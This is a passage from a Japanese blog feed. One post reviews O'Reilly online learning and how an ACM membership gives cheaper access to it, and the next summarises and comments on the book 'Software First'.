href="https://t.co/IAZJDXcaPQ">pic.twitter.com/IAZJDXcaPQ</a></p> — :craftsman/kawasima (@kawasima) <a href="https://twitter.com/kawasima/status/1328349089553997824?ref_src=twsrc%5Etfw">2020年11月16日</a></blockquote> <p> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </p> <p> 以下のページに現在サブスク対象の書籍がまとめられています!</p> <p><a href="https://scrapbox.io/kawasima/O'Reilly%E3%82%B5%E3%83%96%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%82%B7%E3%83%A7%E3%83%B3%E5%92%8C%E6%9B%B8%E3%81%BE%E3%81%A8%E3%82%81">O'Reillyサブスクリプション和書まとめ - kawasima</a></p> <p> </p> <p>コンテンツの豊富さを考えるとこの金額でもかなりお得ですが、年間$99でサービスを利用する方法があります。</p> <p>また、10日間のトライアルもできるのでまずはこちらを利用してみるのがおすすめです。</p> <p> </p> <h4 id="年間99ドルで読む方法">年間$99ドルで読む方法</h4> <p><a href="https://www.acm.org/">ACM</a>(Association for Computing Machinery) という学会の会員になることで年間$99 (約1万円)で上記のサービスを使うことができます。</p> <p> </p> <p>これは、ACMの会員の特典の一つにO’Reilly online learningが含まれているのでO’Reilly online learningに登録するよりも安くサービスが利用できるというものです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530111050.png" alt="f:id:security_index:20200530111050p:plain" title="f:id:security_index:20200530111050p:plain" class="hatena-fotolife" itemprop="image" /></p> <p><a href="https://www.acm.org/membership/membership-benefits">Membership Benefits</a></p> <p> </p> <p>登録方法は以下の記事を参考に行えばできます。</p> <p><iframe class="embed-card embed-blogcard" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;" title="ACM Professional Membershipの登録 - 勘と経験と読経" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fagnozingdays.hatenablog.com%2Fentry%2F2018%2F08%2F02%2F235021" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://agnozingdays.hatenablog.com/entry/2018/08/02/235021">agnozingdays.hatenablog.com</a></cite></p> <p> </p> <p>ざっくり説明するとこちらの<a href="https://www.acm.org/membership/join">Join</a>のページか「ACM Professional Membership」をクリックして、必要な情報とクレジットカードの情報(or Paypal)を入力するだけです。</p> <p> </p> <p>ただ、全て英語のため少し面食らうのと不安になるかもですが、グーグル翻訳が使えるのでそこまで大変ではないです。</p> <p> </p> <p>注意点は、会員資格として以下を満たしている必要があります。</p> <p> </p> <blockquote> <p><strong style="box-sizing: border-box; font-weight: bold; line-height: inherit; color: #222222; font-family: Verdana, Geneva, Tahoma, sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff;">Membership Qualifications</strong><br style="box-sizing: border-box; color: #222222; font-family: Verdana, Geneva, Tahoma, sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff;" /><span style="color: #222222; font-family: Verdana, Geneva, Tahoma, sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; float: none; display: inline !important;">You must satisfy one of the qualifications below:</span></p> <ol class="help-text" style="box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; line-height: 1.4; list-style-position: outside; font-family: Verdana, Geneva, Tahoma, sans-serif; font-size: 14px; margin-left: 1.4rem; color: #222222; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff;"> <li style="box-sizing: border-box;">Bachelor's Degree (in any subject area); or</li> <li style="box-sizing: border-box;">Equivalent Level of Education; or</li> <li style="box-sizing: border-box;">Two years full-time employment in the IT field.</li> </ol> </blockquote> <p> </p> <p>社会人であれば多くの方が満たしていると思うので問題ないと思います。</p> <p> </p> <p>また、学生であれ<strong>ACM Student Membership</strong>があるのでこちらで登録することで年間$19ドルで会員になることができます!</p> <p>(学生時代に知りたかった!)</p> <p> </p> <p>会員登録後に、@acm.orgのアカウントが発行されるのでそのアドレスを使ってO’Reilly online learningにログインできるようになります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530112309.png" alt="f:id:security_index:20200530112309p:plain" title="f:id:security_index:20200530112309p:plain" class="hatena-fotolife" itemprop="image" width="362" /></p> <p> </p> <p>アドレスを入れると「Single Sing On」のボタンに変わるのでクリックし、acmのログインページに遷移するのでアカウント名とパスワードを入力すればOK!</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530112458.png" alt="f:id:security_index:20200530112458p:plain" title="f:id:security_index:20200530112458p:plain" class="hatena-fotolife" itemprop="image" width="400" /></p> <p> </p> <p>ACM会員の特典内容が変わり2020年6月22日以降 O’Reilly online learningの一部サービスが利用できなくなりました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200612/20200612213557.png" alt="f:id:security_index:20200612213557p:plain" title="f:id:security_index:20200612213557p:plain" class="hatena-fotolife" itemprop="image" width="246" /></p> <p> </p> <p>以下で詳しく説明しますが、ライブオンライントレーニング等のサービスが利用できなくなりました。</p> <p>オライリー本、動画コンテンツは引き続き利用できます!</p> <p> </p> <h4 id="コンテンツ">コンテンツ</h4> <p>O’Reilly online learningで利用可能なコンテンツを紹介します。</p> <p> </p> <h5 id="オライリー本">オライリー本</h5> <p>当然ですが、オライリー本が大量にあります。</p> <p>古い本ですが、今でも人気な「<a href="https://amzn.to/2XgXcDm">リーダブルコード</a>」の英語版「<a href="https://amzn.to/2TROABo">The Art of Readable Code</a>」もあります。</p> <p>最近発売された「<a href="https://amzn.to/3gDU1gG">実践 bashによるサイバーセキュリティ対策</a>」も「<a href="https://amzn.to/3ccN1nT">Cybersecurity Ops With Bash</a>」という名前であります。</p> <p> </p> <p>加えて、Early Releasesでまだ出版されていない本も読むことができます。</p> <p>例えば、「<a href="https://learning.oreilly.com/library/view/cloud-native-go/9781492076322/">Cloud Native Go</a>」は2021年5月発売予定ですが読むことができます。</p> <p>しかし、本によってはまだ1章までしか公開されていないものなどがあるのでEarly Releasesの物を読むときはその部分を理解して読む必要があります。</p> <p>(また、誤字脱字などもあるかもしれません)</p> <p> </p> <h5 id="Manning-Publications">Manning Publications</h5> <p><a href="https://www.manning.com/">Manning Publications</a>の本も読むことができます。</p> <p>例えば、「<a href="https://amzn.to/36HnhyR">Docker in Action</a>」「<a href="https://amzn.to/2zKCz9J">Spring Microservices in Action</a>」のような〜 in actionというタイトルの本を見たことがある人もいるかと思いますが、あのシリーズを出しているところの本も多くあります。</p> <p> </p> <h5 id="動画のコンテンツ">動画のコンテンツ</h5> <p>実はオライリー/Manning Publicationsの本だけがある訳ではなく、動画のコンテンツもかなり豊富にあります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530154632.png" alt="f:id:security_index:20200530154632p:plain" title="f:id:security_index:20200530154632p:plain" class="hatena-fotolife" itemprop="image" width="434" /></p> <p><a href="https://learning.oreilly.com/videos/python-fundamentals/9780135917411">Python Fundamentals [Video]</a></p> <p> </p> <p>Udemyを使って動画を見ながらプログラミングを勉強することもあったのでこれからはO’Reilly online learningで良い動画があればこちらで勉強できます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530155114.png" alt="f:id:security_index:20200530155114p:plain" title="f:id:security_index:20200530155114p:plain" class="hatena-fotolife" itemprop="image" width="507" /></p> <p> </p> <p>字幕を付けられたり、速度調整、Transcriptionがありますが、日本語の字幕はありません。</p> <p>プログラミングの学習であればコードを書き写したりしながらなんとなくわかれば大丈夫だったりします。</p> <p> </p> <p>セキュリティ系の動画で「<a href="https://learning.oreilly.com/videos/the-art-of/9780135767849">The Art of Hacking (Video Collection)</a>」というものもあり、今度見てみたいと思っています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530161240.png" alt="f:id:security_index:20200530161240p:plain" title="f:id:security_index:20200530161240p:plain" class="hatena-fotolife" itemprop="image" width="427" /></p> <p> </p> <h5 id="資格の学習">資格の学習</h5> <p> (更新 資格学習のサービスは2020/06/22から利用できなくなりました)</p> <p>資格の学習のためのコンテンツもあります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530155811.png" alt="f:id:security_index:20200530155811p:plain" title="f:id:security_index:20200530155811p:plain" class="hatena-fotolife" itemprop="image" width="430" /></p> <p> </p> <p>AWS Certified、CISSP、Certified Ethical Hacker (CEH)、Cisco CCNA、CompTIA Security+、Google Cloud Certifiedなど。</p> <p>これも本と動画のコンテンツで提供されています。</p> <p>オライリー本なしでこの部分だけでもかなり価値がありそうです。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/09/01/195115">倫理的ハッカー資格 CEH vs OSCP どっちを受けるべきか - Security Index</a></p> <p> </p> <h5 id="それ以外">それ以外</h5> <p> (更新 以下のオンライントレーニングやサンドボックス環境でのトレーニングサービスは2020/06/22から利用できなくなりました)</p> <p>これ以外にも私はまだ利用できていないのですが、LIVE ONLINE TRAININGやSandbox環境を使ったコーディングの学習があります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530162058.png" alt="f:id:security_index:20200530162058p:plain" title="f:id:security_index:20200530162058p:plain" class="hatena-fotolife" itemprop="image" width="465" /></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530161740.png" alt="f:id:security_index:20200530161740p:plain" title="f:id:security_index:20200530161740p:plain" class="hatena-fotolife" itemprop="image" width="455" /></p> <p> </p> <h5 id="OReilly-online-learningにはないもの">O’Reilly online learningにはないもの</h5> <p>あの本の英語版読みたい!と思ってもないものもあります。</p> <p>最近でもかなり売れているオライリー本に「<a href="https://amzn.to/2XHgXTV">ゼロから作るDeep Learning</a>」があると思いますが、この本はO’Reilly online learningにありません。</p> <p>なぜかというとこの本が英語のオライリー本を翻訳して出したものではないためです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530114806.png" alt="f:id:security_index:20200530114806p:plain" title="f:id:security_index:20200530114806p:plain" class="hatena-fotolife" itemprop="image" width="471" /></p> <p>(Kindle版でも5,926円)</p> <p> </p> <p>どんな本や読みたい本、コンテンツがあるかどうか確認したい人はこちらの<a href="https://www.oreilly.com/search/?query=">検索ページ</a>から探してみるといいかもしれません。</p> <p> </p> <h4 id="使いやすさ">使いやすさ </h4> <h5 id="ブラウザ">ブラウザ</h5> <p>chromeで開けば翻訳機能を使って英語の本でも日本語で読めます。</p> <p>機械翻訳なので読みにくさはありますが、気になる部分だけ英語に戻して読む or 基本英語で読んで一部翻訳を使うなどすれば英語の勉強にもなるので結構良いと思います。</p> <p> </p> <p>また、ダークモード、文字サイズの変更、検索機能もついているので結構便利です。</p> <p>私は使わないのですが、Highlight機能やNote機能もあります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530152328.png" alt="f:id:security_index:20200530152328p:plain" title="f:id:security_index:20200530152328p:plain" class="hatena-fotolife" itemprop="image" width="316" /></p> <p> </p> <p>Chromeの拡張機能の<a href="https://chrome.google.com/webstore/detail/mouse-dictionary/dnclbikcihnpjohihfcmmldgkjnebgnj">Mouse Dictionary</a>を使うと単語の意味を調べることも楽になるのでおすすめです。</p> <p> </p> <h5 id="アプリ">アプリ</h5> <p>iOS, Android共にあります。</p> <p>ブラウザ版と同様にダークモード、文字サイズ、Highlight、Note機能があります。</p> <p>使いにくい訳ではないですが、可もなく不可もなくという感じです。</p> <p> </p> <h5 id="検索機能">検索機能</h5> <p>これはこのサービスならではの使い方で、例えば「SSRF (Server Side Request Forgery)」について知りたいと思った時に、O’Reilly online learningの検索窓でSSRFを検索すると、SSRFについて少しでも書かれている本が表示されます。</p> <p> </p> <p>リンクからすぐにSSRFについて書かれている部分を読むことができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530163026.png" alt="f:id:security_index:20200530163026p:plain" title="f:id:security_index:20200530163026p:plain" class="hatena-fotolife" itemprop="image" width="479" /></p> <p> </p> <p>本を一冊読みたいわけではないけど、この部分を読みたい!とか、ネットの情報じゃなくてちゃんとした情報源から調べたい!などを実現できるのが凄い。</p> <p>値段の高いオライリー本をつまみ食いできるというのは豪華。</p> <p> </p> <p>高い本一冊買ったから全部読まなきゃ、から、知りたいことにフォーカスを当てていろんな本を読むこともできます。</p> <p> </p> <h3 id="最後に">最後に</h3> <p>これだけのコンテンツが入っていて年間$499 or $99は安すぎると正直感じました。</p> <p>世界展開しているサービスだからこそこの値段で提供できていると思います。</p> <p><a href="https://trainingindustry.com/top-training-companies/it-and-technical-training/2019-top-it-training-companies/">2019 Top IT Training Companies</a>にも3年連続で選ばれていることも納得ができます。</p> <p> </p> <p>10日間のトライアルもありますのでやってみる価値はあると思います。</p> <p> </p> <p>日本語の書籍も追加されたのでかなりおすすめです!</p> <p> </p> <p><a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> security_index ソフトウェア・ファースト まとめと感想 hatenablog://entry/26006613505187451 2020-02-01T16:30:27+09:00 2020-02-01T16:31:34+09:00 及川 卓也さんのソフトウェア・ファーストを読んだのでまとめと感想。 <p>及川 卓也さんの<a href="https://amzn.to/37M1DJc">ソフトウェア・ファースト</a>を読んだのでまとめと感想。</p> <p> </p> <p><a href="https://amzn.to/37QkRNS"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200201/20200201091750.png" alt="f:id:security_index:20200201091750p:plain" title="f:id:security_index:20200201091750p:plain" class="hatena-fotolife" itemprop="image" width="257" /></a></p> <p> </p> <ul class="table-of-contents"> <li><a href="#2章-ITネットの20年戦争に負けた日本の課題と光明">2章 IT・ネットの”20年戦争”に負けた日本の課題と光明</a><ul> <li><a href="#おもちゃが産業全体に変化をもたらす">おもちゃが産業全体に変化をもたらす</a></li> <li><a href="#正常性バイアス">正常性バイアス</a></li> <li><a href="#現実に即していない情報セキュリティ">現実に即していない情報セキュリティ</a></li> <li><a href="#Data-is-Oilデータは石油">「Data is Oil」(データは石油)</a></li> </ul> </li> <li><a href="#3章ソフトウェアファーストの実践に必要な変革">3章ソフトウェア・ファーストの実践に必要な変革</a><ul> <li><a href="#上流だけでなく実装が重要">上流だけでなく実装が重要</a></li> <li><a href="#自社製品を自ら使う">自社製品を自ら使う</a></li> <li><a href="#中間管理職経営と現場の板挟み">中間管理職 経営と現場の板挟み</a></li> <li><a href="#どこでも働ける人材">どこでも働ける人材</a></li> <li><a href="#創造性は制約を好む">創造性は制約を好む</a></li> <li><a href="#使われないプロダクトはゴミである">使われないプロダクトはゴミである</a></li> <li><a href="#4S-Speed-Stability-Security-Simplicity">4S Speed, Stability, Security, Simplicity</a></li> </ul> </li> <li><a href="#4章これからの強い開発組織を考える">4章これからの「強い開発組織」を考える</a><ul> <li><a href="#コーディングしなくなってからが一人前">コーディングしなくなってからが一人前</a></li> <li><a href="#メンバーのことをあまり知らないマネジャー">メンバーのことをあまり知らないマネジャー</a></li> <li><a href="#リファラル採用は自社の魅力を測るリトマス試験紙">リファラル採用は自社の魅力を測るリトマス試験紙</a></li> <li><a href="#厳格な勤怠管理">厳格な勤怠管理</a></li> </ul> </li> <li><a href="#5章ソフトウェアファーストなキャリアを築くには">5章ソフトウェア・ファーストなキャリアを築くには</a><ul> <li><a href="#作り手の気持ちを理解する">作り手の気持ちを理解する</a></li> </ul> </li> <li><a href="#おわりに">おわりに</a></li> </ul> <p> </p> <h3 id="2章-ITネットの20年戦争に負けた日本の課題と光明">2章 IT・ネットの”20年戦争”に負けた日本の課題と光明</h3> <p> </p> <h4 id="おもちゃが産業全体に変化をもたらす">おもちゃが産業全体に変化をもたらす</h4> <p> </p> <blockquote> <p>おもちゃと思われていたものが世界を変える。これが一つの法則です。そして、このおもちゃが産業全体に変化をもたらす時は、先行してコンシューマー側で普及していたことも忘れてはいけません。</p> </blockquote> <p> </p> <p>マニアのおもちゃと思われていたパーソナルコンピューターやインターネット、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>など、初めはおもちゃのような存在だったものが世界を変えた。</p> <p> </p> <p>この部分を読んだ時にテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>の進化のパターンについて書かれた『<a href="https://amzn.to/2uMfQaC">未来に先回りする思考法</a>』を思い出しました。</p> <p> </p> <p>タイムバンクなどのサービスを運営しているメ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%BF%A5%C3%A5%D7%A5%B9">タップス</a>の社長の佐藤航陽の書籍です。『<a href="https://amzn.to/36FHIKJ">未来に先回りする思考法 無料試し読み版</a>』もあるので興味がありましたらどうぞ。</p> <p>(面白かった記憶はあるのですが、どんな内容だったのかは忘れました・・・)</p> <p> </p> <h4 id="正常性バイアス"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%B5%BE%EF%C0%AD%A5%D0%A5%A4%A5%A2%A5%B9">正常性バイアス</a></h4> <p> </p> <blockquote> <p>客観的に見ると危機的な状況に陥っているにもかかわらず、目の前の状況を過小評価して「自分だけは大丈夫」と楽観視したり、都合の悪い情報を意図的に無視するなどしてしまう特性のことで、危機から脱する機会を失う原因にもなり得ます。<br />日本企業の多くは、この<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%B5%BE%EF%C0%AD%A5%D0%A5%A4%A5%A2%A5%B9">正常性バイアス</a>によって過去の成功体験にとらわれ、モノづくりこそが日本の「正業」であり、ITは「<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%F5%B6%C8">虚業</a>」という誤った認識を持ってしまったのではないでしょうか。</p> </blockquote> <p> </p> <p>現在でもまだハード重視、ソフト軽視の考えが根強く残っているのかもしれない。</p> <p>もちろん、ソフト重視、ハード軽視が正しい訳ではない。</p> <p> </p> <p>本書では『<a href="https://amzn.to/38W6FTP">INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント</a>』の言葉が引用されています。</p> <p> </p> <blockquote> <p>1.ハードウェアはソフトウェアのためにある<br />2.ソフトウェアはユーザーエクス<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DA%A5%EA%A5%A8">ペリエ</a>ンスのためにある<br />3.ユーザーエクス<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DA%A5%EA%A5%A8">ペリエ</a>ンスは人々の感情を満足させるためにある</p> </blockquote> <p> </p> <p>ソフトウェア・ファーストというタイトルの本ですが、</p> <p> </p> <blockquote> <p>正確にはソフトウェアの可能性を理解した上で、ユーザーの感情に訴えるプロダクト開発を目指す姿勢がソフトウェア・ファーストなのです。</p> </blockquote> <p> </p> <p>あくまでユーザーを満足させることがゴールであることを忘れないようにしないといけないと改めて思いました。</p> <p> </p> <p>『INSPIRED 熱狂させる製品を生み出す<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%C0%A5%AF%A5%C8%A5%DE%A5%CD%A5%B8%A5%E1%A5%F3%A5%C8">プロダクトマネジメント</a>』も今度読んでみたい。</p> <p> </p> <h4 id="現実に即していない情報セキュリティ">現実に即していない情報セキュリティ</h4> <p> </p> <blockquote> <p>本当に<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3%A5%A4%A5%F3%A5%B7%A5%C7%A5%F3%A5%C8">セキュリティインシデント</a>を避けるためというよりも、インシデントが発生した時に責任問題に発展しないための言い訳を用意しているように感じてしまいます。</p> </blockquote> <blockquote> <p>取り組んでいる姿勢を見せることが重要なのではなく、本当に必要なセキュリティ対策を採ること、それが大事です。</p> </blockquote> <p> </p> <p> 言い訳の材料集め、チェックリストを埋めるだけのセキュリティ対策では根本解決になりません。</p> <p>また、とにかく制限をすることも一時的には攻撃されにくくなるかもしれませんが、業務効率が下がり、抜け穴を使う社員が現れると悪化することもあります。</p> <p> </p> <h4 id="Data-is-Oilデータは石油">「Data is Oil」(データは石油)</h4> <p> </p> <blockquote> <p>近年「Data is Oil」(データは石油)という考え方がさまざまな産業に普及していますが、一つ目の懸念はデータへの期待が先行し過ぎている点です。</p> </blockquote> <blockquote> <p>データの収集や前処理、蓄積にも莫大なコストがかかることを考えると、収集するデータの種類や用途を考えた上でデータを集める必要があります。そこまでやらなければ、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%B6%CC%FD">原油</a>は石油にはなりません。</p> </blockquote> <p> </p> <p>データを活用していこうという心意気は良いのですが、周りがやっているから表面だけ真似をしようとすると痛い目をみるということのような気がします。</p> <p>小さく始めて少しずつ学んでいくフェーズが必要そうですね。</p> <p> </p> <h3 id="3章ソフトウェアファーストの実践に必要な変革">3章ソフトウェア・ファーストの実践に必要な変革</h3> <h4 id="上流だけでなく実装が重要">上流だけでなく実装が重要</h4> <p> </p> <blockquote> <p>日本の大企業の経営陣とお話しする機会が増えてから、筆者はITシステムやソフトウェア開発の仕組みをお伝えする機会が増えました。その際「上流だけでなく実装が重要だ」とお伝えするのですが、徒労感に襲われることが多くあります。</p> </blockquote> <blockquote> <p>少しでもソフトウェア開発の現場に接していたら簡単に伝わるであろうことが伝わらないのです。</p> </blockquote> <p> </p> <p> 私にとっても「上流だけでなく実装が重要だ」というのは当たり前だと感じられるのですが、今だに根強く発注側は上流だけ見れば良いという考えが強いようです。</p> <p>今から5,6年前の2014年当たりからソフトウェアの内製化が重要、これから取り組んでいくと一部の会社が言い始めていた覚えがあります。</p> <p>ここでしっかりと取り組み始めていた会社とそうでない会社で考え方の差、もしかしたら収益の差が出てきているのかもしれないですね。</p> <p> </p> <h4 id="自社製品を自ら使う">自社製品を自ら使う</h4> <p> </p> <blockquote> <p>自社製品を自ら使う。これを経営陣が示し、自分たちが使えないものは世の中に出さないという強い意志を持つことが大事です。</p> </blockquote> <p> </p> <p>自社製品なのにほとんど使ったことがない、使い方もわからないという状況はかなり深刻なように思います。これも上流だけみているために成果物への関心があまりない、持ちづらいというのが関係しているように思います。</p> <p>上流で仕様だけ決め、その仕様があるかどうかのマル<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D0%A5%C4">バツ</a>のみ確認するという現状があるのかもしれません。</p> <p> </p> <h4 id="中間管理職経営と現場の板挟み">中間管理職 経営と現場の板挟み</h4> <p> </p> <blockquote> <p>いわゆる中間管理職として、経営と現場の板挟みになりながら調整を繰り返しているだけではダメです。</p> </blockquote> <blockquote> <p>会社の方針に沿った上で、現場の自由な発想を大事にして、より良いチームワークを生み出す。この役割を板挟みと感じるか、会社と個人を結ぶ重要なコ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CD%A5%AF%A5%BF%A1%BC">ネクター</a>と感じるかは大きな違いです。</p> </blockquote> <p> </p> <p>上と下の顔色を伺う形になったらダメ。</p> <p>現場社員の全員が会社の方針を正しく理解できている訳ではないのでそこを理解してもらえるように、現場にわかる形で伝える、経営陣に現場の状況をわかる形で伝えるといった翻訳作業をしながら全体の生産性を上げる必要があると自分なりに理解した。</p> <p> </p> <h4 id="どこでも働ける人材">どこでも働ける人材</h4> <p> </p> <blockquote> <p>「どこでも働ける」人材が、能動的に所属する組織を選んで働いているという状況は、その組織を強くします。と同時に、その人材は常に「どこでも働き続けられる」だけの努力を怠りません。個人の強さが組織の強さとなります。一方で、組織は強くあり続け、強い個人を惹き付ける努力を怠らないようにしないと、社員は「どこでも働ける」のですぐに流出してしまいます。この個人と会社との緊張関係がお互いを強くするのです。</p> </blockquote> <p> </p> <p>今後、人材の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%CE%AE%C6%B0%C0%AD">流動性</a>が上がっていくと会社の魅力、部署の魅力が低いとどんどん他社や社内の他部署に流出していくと思う。</p> <p>逆に魅力がある、魅力をちゃんと伝えることができている会社や部署は成長のスピードが高まっていく時代になるのかもしれない。</p> <p>魅力があるのに自分たちが理解していない、伝えられていない部分も多くあると思うのでそこの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>、共有ができるように他社や他部署のことを知る必要があると思いました。</p> <p> </p> <h4 id="創造性は制約を好む">創造性は制約を好む</h4> <p> </p> <blockquote> <p>制約条件を強くするという考え方は、先述した<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%EA%A5%C3%A5%B5%A1%A6%A5%E1%A5%A4%A5%E4%A1%BC">マリッサ・メイヤー</a>氏が「創造性は制約を好む」(Creativity loves constraints)という言葉で頻繁に発信していました。</p> </blockquote> <blockquote> <p>逆に、あえて制約条件を外して考えてみることも効果があります。予算に制限がないとしたら?エンジニアを多数採用できるとしたら?</p> </blockquote> <p> </p> <p>創造性は制約がないほうが絶対いいじゃん!と思っていたので驚きました。</p> <p>ここでは例としてク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%ED%A1%BC%A5%E0">ローム</a>ブックの構想時に「電源が完全にオフの状態から電源を入れて10秒で<a class="keyword" href="http://d.hatena.ne.jp/keyword/Gmail">Gmail</a>にアクセスできる」というかなり厳しい制約をあえて自分たちに課して開発を行なったそうです。</p> <p>地道な努力でなんとかなるレベルではない目標設定をすることで今までのやり方ではないやり方にせざるを得ない状態を作り、新しい発想を促す。</p> <p>自由にすれば創造性は勝手に高まる、という訳ではなくて何かしら自由な発想を促すための仕組みというものが必要なのですね。</p> <p> </p> <h4 id="使われないプロダクトはゴミである">使われないプロダクトはゴミである</h4> <p> </p> <blockquote> <p>ソフトウェア・ファーストの実践では「使われないプロダクトはゴミである」という意識を持つ必要があります。</p> </blockquote> <p> </p> <p>これはつらい。見ただけでお腹が痛くなりそうなワード。</p> <p>実際そうなのかもしれないけどなかなか現実を直視できないものな気がします。</p> <p> </p> <blockquote> <p>使われないプロダクトや機能には価値がないと肝に銘じ、プロダクトが開発者の自己満足の塊にならないように注意しなければなりません。</p> </blockquote> <p> </p> <p>現実を歪めて理解して、これはこれで良かったんだ、みたいな納得をせずに次に活かさないとだめだよね、ということだと自分なりに理解した。</p> <p> </p> <h4 id="4S-Speed-Stability-Security-Simplicity">4S Speed, Stability, Security, Simplicity</h4> <p> </p> <blockquote> <p>開発のミッションとなるプロダクト原則は4Sと呼ばれ、当時から今に到るまで変わっていません。スピード(Speed)、安定性(Stability)、セキュリティ(Security)、単純さ(Simplicity)の4つのSから始める単語で示されるもので、今でも<a class="keyword" href="http://d.hatena.ne.jp/keyword/Chrome">Chrome</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A1%BC%A5%D7%A5%F3%A5%BD%A1%BC%A5%B9">オープンソース</a>プロジェクトである<a class="keyword" href="http://d.hatena.ne.jp/keyword/Chromium">Chromium</a>(<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%ED%A5%DF">クロミ</a>ウム)のサイトに掲載されています。</p> </blockquote> <p> </p> <p>ここでは会社やプロダクトのミッション<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%C6%A1%BC%A5%C8%A5%E1%A5%F3%A5%C8">ステートメント</a>の大切さを述べている部分の話。</p> <p>チームメンバーを採用する時、プロダクトの方向性を確認するときにミッション<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%C6%A1%BC%A5%C8%A5%E1%A5%F3%A5%C8">ステートメント</a>へ立ち返り、進むべき道を決める。</p> <p>自分の会社やプロダクトのミッション<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%C6%A1%BC%A5%C8%A5%E1%A5%F3%A5%C8">ステートメント</a>を覚えている人がどれだけいるのだろうか。</p> <p> </p> <h3 id="4章これからの強い開発組織を考える">4章これからの「強い開発組織」を考える</h3> <p> </p> <h4 id="コーディングしなくなってからが一人前">コーディングしなくなってからが一人前</h4> <p> </p> <blockquote> <p>実装軽視が強い日本企業では、「コーディングしなくなってからが一人前」という考え方が根強く残っています。若手時代の数年間、実装経験を積んだ後は、設計やプロジェクト管理に移行するのが一般的なところも多いようです。しかし、技術は常に進化し続けており、1年前の「最新技術」もすぐに陳腐化してしまいます。そんな中で、10数年前に経験した実装の知識のまま、新しい手法を勉強もせずに過ごしていたら、現代的なエンジニアリング組織をマネジメントすることはできません。</p> </blockquote> <blockquote> <p>『<a href="https://amzn.to/2vDBsq1">エンジニアのためのマネジメントキャリアパス</a>』(<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A5%E9%A5%A4%A5%EA%A1%BC%A5%B8%A5%E3%A5%D1%A5%F3">オライリージャパン</a>)という本は、米国に置けるソフトウェアエンジニアがマネジメントに進む際のガイドブックのような存在です。</p> </blockquote> <blockquote> 